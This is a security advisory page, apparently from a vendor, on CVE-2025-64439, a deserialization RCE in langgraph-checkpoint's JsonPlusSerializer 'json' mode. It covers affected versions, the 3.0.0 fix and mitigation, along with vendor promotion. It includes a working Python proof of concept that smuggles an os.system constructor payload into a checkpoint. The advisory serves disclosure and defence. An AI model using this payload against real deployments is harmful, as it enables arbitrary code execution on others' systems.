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CVE-2025-64439 langgraph-checkpoint

Fix: langchain-ai/langgraph@c5744f5

CVE-2025-64439 is a Deserialization of Untrusted Data vulnerability in langgraph-checkpoint. A fix is available for langgraph-checkpoint — see the affected versions and patch details below.

LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

Also known asGHSA-wwqv-p2pp-99h5PYSEC-2026-1527
Published
Nov 7, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-64439.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍langgraph-checkpoint

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.


Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

  1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
  2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)


Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0


Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.


Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlanggraph-checkpointall versions3.0.0pip install --upgrade 'langgraph-checkpoint==3.0.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langgraph-checkpoint, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update langgraph-checkpoint to 3.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-64439 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-64439 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-64439. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objec
O3 Security · Impact-Aware SCA

Is CVE-2025-64439 in your dependencies?

O3 Security finds CVE-2025-64439 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-64439: langgraph-checkpoint RCE | O3 Security